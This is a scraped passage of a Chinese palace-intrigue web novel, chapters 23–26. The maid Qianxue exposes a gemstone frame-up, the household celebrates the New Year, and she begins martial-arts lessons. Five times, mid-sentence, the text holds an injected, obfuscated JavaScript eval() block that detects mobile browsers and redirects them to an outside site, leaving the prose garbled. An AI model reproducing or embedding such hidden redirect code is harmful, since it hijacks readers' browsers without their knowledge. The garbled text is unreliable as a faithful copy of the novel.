千雪的目光这才转向面色冰冷的四小姐，深深福了一礼，“小姐，小橘衣服里这宝石来路不明，浆洗婆子发现时无人旁观，恐难单独立证。库房那对耳坠丢失是事实，登记册在此，奴婢请求，连同这两粒宝石一并封存。” 她没有辩解一句自己或小橘的清白，却轻飘飘一句话，就将所谓的“人赃并获”打了个问号，浆洗婆子的一面之词，和“恰好”在夹层里翻出来的东西，无法自证是否栽赃！同时点明必须“封存”，意味着要追查到底！ “至于库房失窃…”千雪抬起眼，目光清冷地扫过锦书那张带着快意的脸，“在小姐您的院子里，东西绝不会凭空消失，也绝不仅仅是一两个丫头能无声无息熔掉金托，藏匿宝石的。” 四小姐深深地看着千雪，千雪在这种绝境下没有慌乱哭诉，反而冷静到令人心悸，指出了关键漏洞浆洗婆子单方面口供无法坐实栽赃，并反将一军要求深查！这反应出乎意料。 锦书心里咯噔一下，刚想开口继续煽风点火，千雪却抢先一步上前，轻轻按住了还在哭抖的小橘紧攥的那件藏宝石的夹袄袖口。指尖滑过那夹层破损处的针脚线头是仓促缝过又特意拆开的痕迹！新线头还在！ 千雪眼神更冷，但她没声张，只对着四小姐，平静地给出了最稳妥的请求。 “事关小姐清誉与芳华院体统，奴婢与小橘愿意暂时交出库房钥匙，一切人等，待夫人遣公正之人大搜查院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912416|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，详查那册账，并核实所有经手人事发前后行踪后，再请小姐定夺。在此之前，奴婢恳请四小姐，勿要听信任何一面之词。” 她将选择权，交还给了四小姐，也将自己和那两粒棘手的蓝宝石，那本有问题的册子，那个关键的人证刘婆子，一同推到了夫人派来的“公正之人”面前。 “封存？”锦书声音尖利起来，想抢话，她怕生出什么变故，想赶紧做实千雪的罪，“封存就能证明你清白？宝石可是从……” “封存！”四小姐吴玉瑶的声音骤然响起，打断了锦书的没说完的话。 她深深看了一眼千雪，千雪她并不慌乱，不知为何，吴玉瑶下意识信她几分，也意识到这件事情绝不简单。 “把宝石、那件衣服、还有库房那本册子，连同小橘，都给我看管起来！”她点了一个素来老实、与任何人都不太亲近的粗壮婆子，“刘婆子，你也留下，在郑妈妈来之前，敢多说一句……”她眼神如刀地扫过刘婆子，锦书和所有下人，意思不言而喻。 院子瞬间被沉重的低气压笼罩，小橘哭都不敢大声了。 锦书心头狂跳，不甘和恐慌交织，却再不敢发声，千雪坦然交出自己和库房的钥匙，姿态一丝不苟。 一个时辰后，郑妈妈带着两个精明干练的心腹婆子到了芳华院，气氛压抑得能拧出水。 郑妈妈先单独听取了四小姐的话，又细细查看了所有被封存的东西，那两粒蓝宝石，小橘的夹袄、那本册子。 千雪和小橘被分开关在各自屋里。郑妈妈先提审了瑟瑟发抖的刘婆子。只半柱香功夫，郑妈妈就沉着脸出来了，眼中满是厉色。刘婆子瘫软在地，被拖了下去，嘴里呜呜不知说了什么。 紧接着提审小橘，足足过了半个多时辰，小橘才眼睛红肿地被带出来，暂时被看押起来。 最后，是千雪被带到单独房间。郑妈妈坐在上首，两个婆子分立两侧，目光锐利如鹰，盯的人心发慌。 23.第二十三章 真相 “宝石在你同屋小橘的衣服里发现，册子上有对旧首饰的记录，丢失的耳坠也恰好是蓝宝石。”郑妈妈语气平板陈述，不辨喜怒，“你怎么说？” 千雪垂手肃立，声音平稳清晰，“回郑妈妈话，此事疑点有三。” “其一，浆洗污物发现赃物？那件夹袄昨日才脱下准备送洗，小橘昨夜当值，奴婢回房时她刚歇下，奴婢可证明衣服昨夜脱下时袖口夹袋平整无物，那夹层痕迹甚新，缝线粗糙错乱，显是今日仓促做出来塞入东西的，请郑妈妈仔细验看那处针脚。” 一个婆子立刻拿着那件衣服上前递给郑妈妈看。郑妈妈指尖捻过那夹层边缘，细查之下，线头崭新，针脚潦草且深浅不一，明显是临时赶工，绝非自然穿着破损缝补。 “其二，”千雪继续，“蓝宝石非独有，夫人库里 ，各姨娘小姐，哪怕是外面铺子上，嵌蓝宝石的首饰都不少。凭什么咬定就是小姐丢的那两颗？若要诬陷，两颗品相普通的蓝宝石极易取得，奴婢斗胆请教，那对耳坠记录虽在册，但可有图样？可有标记？最重要的——可曾记录那两颗蓝宝石的精确重量？若能找来小姐当初得的赏赐记录副本，或当初制作那耳坠的匠作记录，当有记载，对照两颗赃物宝石重量，切割、是否刻微记有些匠人为标识会做极微小记号，一看便知真假！若重量不对，切割不同，如何证明就是丢失之物？” 如果宝石重量不对，那整个赃物来源基础就崩了！锦书能熔金取宝，却无法精确复制两颗宝石原本的重量！这恰恰是核心突破口！ 郑妈妈眼中精光一闪。 这点确实关键！她立刻对身后婆子吩咐，“去！带几个人，立刻查！翻出夫人库房当初入库账目若有，若没有，去查府里与那耳坠出处的铺子档案，找重量记载！要快！” 婆子领命飞奔而去。 千雪深吸一口气，放出胜负手，“其三，也是最根本的——动机荒谬！库房管事之位刚得，恩宠不过数日，根基未稳，奴婢若有心贪财，院中值钱的新贡物品比比皆是，挑一对不起眼且登记在册容易被查的旧耳坠下手？且大费周章熔托，冒着被人认出宝石的风险转赠同屋小橘的洗衣私物？这种自寻死路的法子，奴婢自认蠢不到此等地步！谁受益？谁在奴婢立威后最不甘心？谁能在库房和四小姐身边，既动得了东西，又放得进赃物？” 矛头虽未点锦书名字，但字字句句指向性太强！ 郑妈妈何等人物？从进门看到那临时缝制的夹层，再到刘婆子那前言不搭后语，一吓就漏底的供词锦书是私下给了赏钱和承诺，让她在特定时间地点发现宝石，其他的奖洗的婆子一概不知。 小橘的哭诉那衣服她昨日脱下时就平整，昨夜睡前叠好，今早才放浆洗筐，根本没再碰过。再联想起千雪空降一等丫鬟，她心中早已有了猜测。如今千雪条理清晰的反驳和直指核心的反问，更印证了她的判断。 “你能证明衣服昨晚平整？”郑妈妈问。 “同屋之人皆可见证，包括锦书姐姐！奴婢进门前，小橘正叠那叠衣服。还有守夜廊下经过的婆子听到她们动静。”千雪笃定道，小橘必然也这样讲了。人证锦书和守夜婆子当时就在现场！ 郑妈妈不再问话，闭上眼，手指轻轻点着桌面，在等最重要的称重结果。 煎熬的等待。 终于，婆子捧着一张泛黄的纸片和一个精巧称量金银的小戥子气喘吁吁跑了回来，“郑妈妈！查到了！是永盛银楼出的！人家银楼有记录，单颗蓝宝石重三钱八分五厘！” 郑妈妈立刻命令将那两粒赃物宝石放在戥子上。屋里落针可闻！铜盘轻晃，金丝微垂……婆子屏息汇报，“左边这颗……三钱八分整！右边这颗……三钱九分一厘！都……都不够数！右边还重了点！” 轰！ 郑妈妈猛地睁开眼！眼中寒光四射！ 重量不对！一个轻了五厘，一个反而重了六厘！绝不可能是同一对耳坠上取下来的！ 千雪的心重重落下，后背却已冷汗涔涔。 郑妈妈“啪”一掌拍在桌子上！声音森寒，“好！好一个‘人赃俱获’！刘婆子，拖进来！” 刘婆子被拖死狗般拽入。 “说！谁让你今天盯着小橘那件衣服洗？谁让你在翻浆洗衣物时特意‘发现’那两粒宝石的？！”郑妈妈的声音不高，却带着千钧之力！ 刘婆子哪里经得住这位国公夫人首席心腹的气场压迫，吓得魂飞魄散，屎尿齐流，“是……是锦书姑娘！是碎了玉姑娘给了老婆子五两银子和一支旧珠花……让老婆子在那个时辰……特意去翻小橘姑娘洗的那堆里……找……找蓝石头……说……说找到了喊出来……” “还有呢！”郑妈妈步步紧逼，“那宝石是谁交给你的！” “也是……是锦书姑娘……昨晚给的……塞到老婆子住的墙缝里……” 刘婆子瘫在地上，涕泪横流，浑身抖得像个筛糠，“郑妈妈饶命啊！老婆子全招！是锦书姑娘！是她昨晚约摸二更天，摸到我那破屋门缝，塞了个油纸包！还有……还有这五两散碎银子！” 她哆嗦着从怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918659|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里掏出几块银子和一个脏兮兮的油纸包壳子。 “她塞给我，叫我今天浆洗小橘衣服的时候，趁乱把纸包里的东西塞进小橘那件青布夹袄袖子夹层里……还……还说要是办成了，以后让我进内院当个清闲婆子……” 刘婆子哭得满脸褶子都拧在一起，悔不当初，“我……我老婆子穷怕了，又眼热那好处……就……就鬼迷心窍答应了！可……可我这贪小便宜的毛病犯了蠢啊！” 她猛地拍自己大腿，悔恨交加， “我拿到纸包回屋，没忍住，偷偷打开了一看——乖乖！两颗冰蓝冰蓝的石头！油灯底下还反光！老婆子年轻时在大户人家见过世面，知道这玩意儿比金子还贵！锦书那点银子……跟这个比算个啥呀！” “我……我脑子一热！就……就想……这好东西要能昧下来……”她声音陡然压低，带着极度的恐惧和侥幸，“我手里……正好有两颗攒下的琉璃珠儿……是以前伺候老姨奶奶时，她扔了不要的边角料……看着也蓝汪汪的……不过……不过就是重了点沉了点……我就……我就……壮着胆子给换了！” 刘婆子哭嚎着磕头，额头都青了， “那两颗真宝贝……让我连夜……藏我孙儿鞋垫儿夹层里了！想着回头再想法子脱手……这两颗假的琉璃珠儿……我就重新裹进油纸……天亮后就按锦书说的，塞进小橘衣服袖袋夹层缝里了！” “我以为……没人会发现……糊弄过去就好了……老婆子该死！真是猪油蒙了心啊！”她瘫在地上，彻底崩溃。 所以那蓝宝石重量才不对。 人证物证链彻底崩坏！栽赃坐实！ 郑妈妈冷冷瞥了一眼早已面无人色、抖若筛糠的锦书，眼中满是厌恶，“跳梁小丑！” 四小姐不再理会锦书，看向一脸平静的千雪，“你和小橘，受了委屈，库房钥匙，物归原主。” “我院子里的事，你自行处置妥当。有些上不得台面的脏东西，该清理就清理干净，免得污了我的院子。”她声音平板，却给了千雪最大的生杀予夺之权！ 郑妈妈带人走了。 院子里只剩下烂泥般的锦书，和重新拿到钥匙，眼神冰冷如霜的千雪。 “拖下去。”千雪声音没有一丝温度，对着那两个负责看管的壮实婆子，“连同刘婆子一起，塞去外院珍珠那儿，该怎么处置，让外院看着办，还有，”她目光扫向院内其他噤若寒蝉的下人，声音清晰如冰， “都给我记住，老实当差，但想当跳梁小丑的，下场只会比她们更惨！” 24.第二十四章 除夕 除夕，天刚蒙蒙亮。 千雪站在芳华院滴水檐下，看着几个粗使婆子埋头苦干。 扫帚沾满冷水，用力擦洗廊柱和门窗的每一处雕花缝隙，那架势，恨不得把积了一年的晦气霉运都刮下来。空气里弥漫着尘土味，劣质皂角味，还有一丝刺鼻的硫磺水味。 “千雪姑娘，”素丹提着一个新糊的红纸灯笼出来，上面墨黑的“福”字倒着，素丹是杜氏派过来顶替锦书位置的丫鬟，原是她屋里的二等。 素丹声音温柔，“门神，桃符都换过了，您看看可还有疏漏？” 千雪目光扫过焕然一新的院门，朱漆门扉上，新画像门神怒目圆睁，两边的桃符写满了祈福的谶语。她点头。 “齐整了。”心里想的却是，这驱邪避祟的桃符，真能挡住人心里的鬼蜮伎俩？ 午后，整个府邸骤然肃穆，千雪随四小姐前往祠堂远远便听到鼓乐丝竹的庄重乐音，祠堂内香烟缭绕，烛火通明。 祭祖大典由国公爷吴正明主祭，他身着吉服，神色端凝，率领长子吴景元，次子吴景舟，以及年纪虽小但也勉强站稳的三少爷吴景阳和四少爷吴景云，在祖宗牌位前一丝不苟地跪拜。 诰命在身的老国公夫人和杜氏及大奶奶卢氏也在一旁肃立行礼。 供桌上，硕大的猪头，褪了毛的整鸡，张着嘴的肥鱼和堆积如山的糕点瓜果，摆的满满当当。 千雪和其他丫鬟婆子们只能垂首立在外围廊下，连大气也不敢喘。 四小姐吴玉瑶在人群前列，身姿端正，脸上是和年纪不符的沉静，千雪目光掠过站在男丁队伍边缘，显得有些敷衍的四少爷吴景云时，恰好看到他飞快地，带着点不耐烦地瞥了一眼他亲姐姐的后背，随即又垂下眼皮。 千雪心想这黄姨娘把亲姐弟教成了仇人。 天色擦黑，各处红灯笼次第点燃。 丫鬟仆妇们都换上了能找出来的最好衣裳，芳华院的下人们也得了恩典，分到了新浆洗的干净布袄和额外的份菜肉食，在各人屋里小桌前搓着手，脸上泛着油光，等着难得的年夜饭。 国公府的花厅烧得跟暖炉似的，满眼红绸刺得人眼晕。 千雪和素丹一左一右在四小姐吴玉瑶身后跟着。 千雪低眉顺眼，眼风却跟小刀子似的，把厅里一干主子全扫了个遍——这可是一锅出啊！ 这是第一次她把府里的主子认了个遍。 两张紫檀大圆桌摆开，主桌上，老夫人端得像尊泥菩萨，脸上倒难得带点笑影子。国公爷端着酒杯跟身边的二儿子吴景舟聊着什么，爷俩能说一块去，国公爷和吴景元关系不是说不好，只是话题没那么多，吴景元走的武举的路子。所以比起吴景元，国公爷吴正明和擅长读书的吴景舟更能说一块去。 国公夫人杜氏笑容滴水不漏，正跟大奶奶卢氏说着不咸不淡的吉祥话。 小辈这桌就热闹多了。 “玉瑶妹妹，你这新打的缠枝莲簪子精巧，配这身鹅黄袄子正好。”二小姐吴玉容亲亲热热地捏了捏四小姐的手，眼神是实打实的喜欢。 吴玉容生得温婉大气，笑起来眼角弯弯。 “玉容姐姐给的料子好。”吴玉瑶脸微红，也笑。千雪知道，这俩庶女姐姐妹妹的，是真亲近。 “嘁，”斜对面一声不大不小的轻哼，三小姐吴玉颜把手里镶银头的木筷子“啪”地往青玉小碟上一搁，“过年打扮得这么水灵，显摆给谁看呢？” 吴玉颜眉毛挑得老高，看吴玉瑶的眼神就跟看根刺似的，桌上空气凝了一瞬。 吴玉瑶脸上笑意淡了点，没接茬，低头抿了口果子露，素丹不动声色地把手边那碟吴玉瑶爱吃的蜜汁莲藕往她面前推了推。 “三姐这话说的，”对面一直耷拉着脑袋的四少爷吴景云突然抬起眼皮，嘴角扯了个假笑，冲着吴玉颜说话，眼睛却瞟吴玉瑶，“咱们四姐姐水灵，碍着谁的眼了？”他话里像帮着亲姐，可那眼神凉飕飕的，还带着点看热闹的幸灾乐祸。 一奶同胞，生分得跟仇人似的！千雪心里明镜儿似的，黄姨娘那儿埋的根由。 “哎呀！鱼！娘说我最爱吃鱼了！”五小姐吴玉珠压根儿没嗅到火药味，小胖手迫不及待地想去够中间那尾松鼠鳜鱼，旁边的嬷嬷赶紧笑着给她布菜。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15922697|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的六小姐吴玉瑛正专心玩手里的布老虎，拿筷子戳着碗底“铛铛”响。 三少爷吴景阳是夫人嫡出的宝贝蛋儿，捏着个赤金嵌宝的小酒杯玩，见场面有点僵，奶声奶气地打圆场，“吵什么，过年都和气点！” 大人桌那边也看过来了，国公夫人眼神略沉地扫了吴玉颜和吴景云一眼。两人顿时收了声。 “都是自家姐妹兄弟，口舌无谓。”二小姐吴玉容温言细语，声音不大，却带着份量。她举杯，“都举杯，敬爹娘和祖母一杯安康！” 这话一锤定音，众人纷纷举杯应和，觥筹交错，丝竹又起，刚才那点火星子被热闹的祝词压了下去。但刚才那几个来回小刀子甩的，在场的心思透亮的，谁能看不明白？ 吴玉瑶端着杯子，看着二姐温和却有力的脸，心里踏实不少，千雪默默站在她身后，眼观鼻，鼻观心，这花团锦簇底下的暗流，比外面呼啸的北风还冷。 她伺候的小姐要争前程，身边个个是牛鬼蛇神，今晚这一场小小的“团圆”大戏，不过是冰山一角罢了，路还长着呢。 酒过三巡，菜上五味。 国公夫人杜氏含笑开口，“孩子们，辞岁了。” 小辈们纷纷起身，按长幼走向主桌给老夫人和国公爷，夫人叩头辞岁。 轮到小辈们互相拜见。 吴玉容先向哥嫂致礼，轮到吴玉瑶时，吴玉瑶福下身，真心诚意地道，“玉容姐姐来年事事如意。” 吴玉容笑着还礼，塞了个沉甸甸，绣着并蒂莲的荷包进她手里，“瑶芷妹妹也安康顺遂。”眼神真挚，祝福也是真心实意。 轮到三小姐吴玉颜时，她下巴微抬，虚扶一下吴玉瑶的肘，“四妹妹客气。”将一个明显分量轻些，绣工粗糙的荷包随手递过来，皮笑肉不笑。吴玉瑶道了谢，看也没看就递给身后的千雪。 四少爷吴景云一步三晃地过来，对着吴玉颜作揖嬉笑，“三姐姐妆金玉戴明珠，越发尊贵了！”那副油滑嘴脸跟对亲姐判若两人。 轮到吴玉瑶，他草草一拱手，“四姐姐，”连祝福词都省了，眼神掠过她身后的千雪和素丹，意味不明。 25.第二十五章 初一 子时将近，花厅里的暖意里已经渗入了众人强撑的疲惫。孩子们在大人膝下打盹。 突然！ “噼啪——！” “轰隆——！！！” 震耳欲聋的巨响毫无征兆地从府门外，庭院里，花园深处骤然炸响！仿佛天崩地裂！不是一两声，而是连绵不断，铺天盖地的轰鸣！那是成捆的，粗大的爆竹被点燃。 整个天地都在这撼人心魄的巨响中颤抖。硫磺独有的，刺鼻又带着奇异新年味道的气息瞬间弥漫开来，透过门窗缝隙钻进温暖的厅堂。烛火被震得摇曳不定。 “啊！”胆小的五小姐吴玉珠吓得钻进了嬷嬷怀里，连一向沉稳的二小姐吴玉容也下意识捂住了耳朵。 “年”被吓跑了！ 紧接着，管事仆人们高声唱喏，“燃放爆竹，接天地吉气！除旧岁邪祟！” 一时间，整个府邸淹没在震天的“噼啪”声和硝烟弥漫的海洋里，将夜色撕得粉碎。 趁着这惊天动地的喧嚣，千雪飞快地瞥了一眼窗外。四少爷吴景云不知何时离了席，正猫着腰在廊下，手里捏着几支细小的炮仗，偷偷摸摸地往一个小丫鬟脚边扔，吓得那丫头跳起来，他则捂着嘴笑得肩膀乱颤。火光硝烟中，那张还带着童稚的脸上，恶意是那样的清晰。 正月初一，一夜喧腾后，国公府在清晨的微光中透出一种奇异的静谧，仿佛昨夜那震天动地的爆竹声只是一场幻梦。空气里还残留着淡淡的硫磺味。 千雪是被院外隐约的，更密集而欢快的爆竹声惊醒的。“开门炮？”她心想。 芳华院内一片安静，初一规矩大过天。 忌扫地倒水，碎屑是“财”，水是“财气”，扫了倒了就是泼财！盆里洗过脸的水都只能攒着。 忌动剪刀针线，怕“破财”，“招口舌是非”。 忌摔打器具，怕一年不吉利。 说话讲究吉利，打破东西要说“岁岁（碎碎）平安”。 四小姐吴玉瑶早早起身，由千雪和素丹伺候着换上一身崭新的水红绣金折枝梅通袖袄，衬得她气色极好。早膳厨房送来的是素净的清粥小菜和蒸热的重阳糕，寓意“年年有余，步步登高”。 厅堂正中早设了香案，供奉着穿红袍，黑面的财神赵公明像。管家恭敬点燃三炷高香，国公爷率领家人在像前恭敬行礼，默祷新的一年财源广进。 拜年是重头戏。 先是府内，四小姐规规矩矩带着千雪，素丹等丫鬟婆子，浩浩荡荡一大群人，先去老夫人松鹤堂磕头拜年，说了一串吉利话，得了老夫人给的一个小金锞子和几句听不出真假的勉励。 接着是国公爷和夫人处，“女儿给父亲，母亲拜年，恭祝父亲，母亲新春大吉，福寿康宁！”吴玉瑶跪下磕头，声音清脆。 国公夫人笑容满面，亲手扶她起来，塞了个格外厚重的红绸荷包，“玉瑶乖，起来。”旁边的国公爷也点了点头，赏了些精致的小玩意儿，气氛其乐融融。 然而刚走出正院，气氛就变了。 “哟！四妹妹这通身的红，真是开了年的好兆头啊！”三小姐吴玉颜懒洋洋的声音在不远处响起。她一身妃色蜀锦，也带着一群丫鬟从拐角转出来，似笑非笑地堵在吴玉瑶面前，手里还抛玩着一个小巧的金丝楠木九连环。 “只是……”她拖长了调子，眼神轻佻地扫过吴玉珠抱着的新布老虎，“四妹妹如今是母亲眼前的红人，连拜年的压岁都比我们这些蠢笨的厚实几分，怪让人眼热的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928552|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她身后的丫鬟低低地窃笑起来。 这是当众给四小姐难堪！暗指吴玉瑶讨好嫡母，收买人心！ “三姐说笑了，”吴玉容温和的声音及时响起，她从另一边廊下快步走来，不动声色地插到吴玉颜和吴玉瑶之间，脸上带着笑，“母亲对姐妹兄弟一向一视同仁，不过今天是个好日子，咱们姐妹不如先去给城隍庙那边的善堂添点香油？母亲常说，积善之家，必有余庆。”她巧妙地将话题引开，又抬出国公夫人压人。 吴玉颜撇撇嘴，还要说什么。一个小丫头气喘吁吁地跑来，“三小姐！老夫人那边传，问您怎么还没过去？二少爷他们都等着呢！” 吴玉颜只得悻悻地瞪了吴玉容和吴玉瑶一眼，扭身走了。 吴玉瑶一直没说话，只是袖中的手攥得死紧。千雪清晰地看到她微垂的眼睫下，一闪而逝的冰冷怒意，以及被强压下的委屈。 这一天，就在走马灯似的拜年，被拜年，听吉利话，说吉利话中度过了。花厅那边丝竹不断，据说请了有名的杂耍班子和戏班进来唱堂会。千雪跟随在四小姐身边，看着她应对各色人等，脸上挂着得体的笑，眼中却越来越冷。只有面对真心帮她的二小姐时，才偶尔泄出一丝真切的暖意。 直到午后。 “累了吧？”吴玉容拉着吴玉瑶在临水轩的小暖阁稍歇，亲自给她倒了杯清茶，“别理她，她那性子随了她姨娘，见不得人好。” 吴玉瑶默默喝了口茶，没说话。暖阁外传来五小姐吴玉珠开心的笑声，丫鬟们讨要吉利话的喧闹，戏台那边隐约的锣鼓点。可千雪知道，这热闹底下，她的小姐心里，刚刚砌起了一堵更冷的墙。 新年的第一天，便在这样喧嚣下的冰冷对峙中缓缓流过了。 26.第二十六章 苏教头 年节的喜气冲不淡千雪心底的紧迫感。 别人忙着走亲访友或猫冬偷懒，她却掐着告假的日子，一大早就从侧门出了府。 沉甸甸的包袱里装着她用省下的体己买的两提上好的五花肉，一包细软厚实的靛青棉布结实耐磨，还有用油纸仔细裹好的两层京式精致点心，枣泥馅的山楂糕，油光水滑的蜜饯果子。 这是她给那从未谋面的苏氏武行女教头备下的年礼。虎头早先通过他小叔递了话，银子束脩也已托付过去，但千雪深知规矩，初次登门，礼数要足。 循着虎头小叔含糊的指引，城西走马巷往里，挂着个破葫芦那家就是！，她七拐八拐，终于在一条背街小巷尽头，看到了一个敞着门的破败小院。门梁上果然吊着个褪了色，裂了条缝的朱漆葫芦。 这是单独的小院不是开在街道上的武馆，因为千雪是女子，在这单独的小院学正合适。 院子不大，夯土地面被踩得溜光水滑。角落里歪着几个破旧石锁，靠墙一排木架上斜插着几根磨得圆溜的棍棒。一个穿着灰布短打，腰束青布的年轻女子正背对着门口，一下一下，沉稳有力地空手劈打着吊在架子上的一排厚厚草席。“啪！啪！”的破空声带着一股狠劲。 “请问……苏教头在吗？”千雪扬声，声音清亮。 那女子动作一顿，转身看来。约莫二十出头，小麦肤色，圆脸盘，浓眉大眼，嘴角天然微微上翘，显得颇为爽利。目光落在千雪身上，带着几分探询。 “我就是苏红缨，你是……？”苏红缨声音不算清脆，带着股沙哑。 “千雪见过苏教头。”千雪放下包袱，大大方方行了礼，也没绕弯子，“早先托府上在外院当差的亲戚递了话，想跟着您学两手防身的本事。” 她一边说着，一边解开包袱，露出里面的肉，布和点心，“一点心意，不成敬意。” 苏红缨看见那两块红白相间，一看就新鲜肥美的五花肉，眼睛亮了一下！看到那叠厚厚的靛青细布，再闻到油纸包里飘出的点心甜香，嘴角那点天然的笑意明显真诚了些许。 虎头那小叔早就把束脩银子塞给她爹了，这小姑娘还挺会来事！ “啧，”苏红缨也没假客套，上前拎起肉掂量了一下，满意地点头，“成色不错！布也挺结实！你有心了。”她指了指院里角落那几根棍棒，“咱们这儿没那么多花架子，给钱给礼就教真功夫。你底子怎么样？以前练过没？” 千雪脱下略显碍事的厚棉袄外裙，里面是特意换的窄袖粗布短打，活动了一下手脚关节，姿态倒是舒展，“小时候跟个走江湖的武把式学过几天拳脚，瞎比划罢了。”她没提穿越前的散打基础，刻意含混着说。 “哦？比划两下我瞅瞅。”苏红缨抱着手臂，兴致盎然。 千雪也不怯场，拉开架势，认认真真打了一套最基础的直拳，勾拳，踢腿组合。动作标准，发力点掌握得不错，但刻意收着力，步伐也显得略生硬。 她一套打完，气息平稳。 苏红缨眉毛挑了挑，眼神里的随意淡了几分。她上前一步，毫无预兆地突然伸手拍向千雪肩膀，又快又沉！ 千雪瞳孔微缩，几乎是本能地向后滑步卸力，肩膀下意识拧了一个卸劲的小角度。但刚做出反应，她立刻顿住，看样子是被唬了一跳，笨拙地踉跄了一下。 苏红缨的手稳稳落在她肩上，力道不重。她盯着千雪的眼睛，那里面有瞬间的警惕，看她这反应不像是什么江湖把式能有的反应，倒像是见过阵仗的野路子？ “学过点还行。”苏红缨收回手，嘴角的笑意有点玩味，也没深究，“不过就这程度，遇上有力气的，还是白搭。” 千雪心下了然，这苏教头眼毒。“是，教头说得对。”她坦然承认，“千雪不求练成高手，只求万一遇到不开眼的贼人，能有把子力气挣脱跑掉，护得住自己小命，就心满意足了。”话说得朴实又直接，更显真诚。 苏红缨喜欢这种干脆的，“明白人！一个月能来几次？我们这儿没啥日子讲究，你有空来就行。” “府里管得严，告假不易，大概一个月能来两次。”千雪有些抱歉。 “两次？可以！”苏红缨爽快点头，转身从墙角拎了两根打磨光滑，尺寸合适的小木棍丢给千雪一根，“握紧！今天教你第一课，怎么挨打的时候护住要害别晕，还能找到空子挠花对方的脸跑路！”她咧嘴一笑，露出两颗小虎牙，一股彪悍气息扑面而来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933507|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是！教头！”千雪握紧木棍，眼神瞬间锐利专注起来。 一个时辰后，千雪揉着被敲得生疼的手腕和小臂，一瘸一拐地走出那个挂着破葫芦的小院门。 脸上胳膊上都有点青红，但眼神却比来时更亮了几分。疼归疼，苏红缨教的挨打卸力，防守反击的几招，全是实打实的保命伎俩！句句都是实战中摸爬滚打出来的血泪精华！ 她扯了扯嘴角，迎着冬日下午微暖的光，慢慢朝国公府的方向走去。医术，算账，女红可能不用了，技多不压身，学到手谁都抢不走。 带着一身看不见的酸痛从苏氏武行那个破院钻出来，千雪没直接回芳华院。 她转进街上买了满满一包袱东西，还冒着热气的酱肉，油亮亮的烧鸡，外加一小坛贴着红封的“醉仙春”好酒。 千雪熟门熟路的推开一道不起眼的角门，里面正是那片熟悉的，散着草药清冷苦味的冷僻小院。 推门进去，果然，张大夫又裹着那件灰扑扑的棉袍子，跷在藤编圈椅里，旁边红泥小炉上煮着罐草药，咕嘟咕嘟响着，他人已经歪着脑袋打起小呼噜了，鼻涕泡一鼓一缩。 千雪也不客气，把油纸包着的肉和烧鸡，还有那小坛酒往旁边石桌上一搁，发出点声响。 张大夫一个激灵，猛地从椅子上弹起来，口水都差点甩出去，“谁？！……哦，是你这丫头啊？”他撩开糊眼屎的老眼，先不看来人，那鼻子像得了信号似的，抽动着精准地捕捉到空气中的香气，“啧！老远就闻着这味儿了！又馋我老头子来了？” “过年了，孝敬您老的。”千雪麻利地掀开油纸包，酱香肉香混着酒香扑鼻而来。 张大夫笑得胡子都颤了，也不用招呼，自己挪过来，捏起一块厚切酱牛肉就往嘴里塞，“嗯！冯记酱肉铺的吧？还是你会买！火候地道！” 又迫不及待拍开酒封，倒了一小盅抿一口，眼睛惬意地眯起来，“醉仙春？有眼光！”显然早就忘了之前嫌弃千雪“花钱学本事傻”的话。 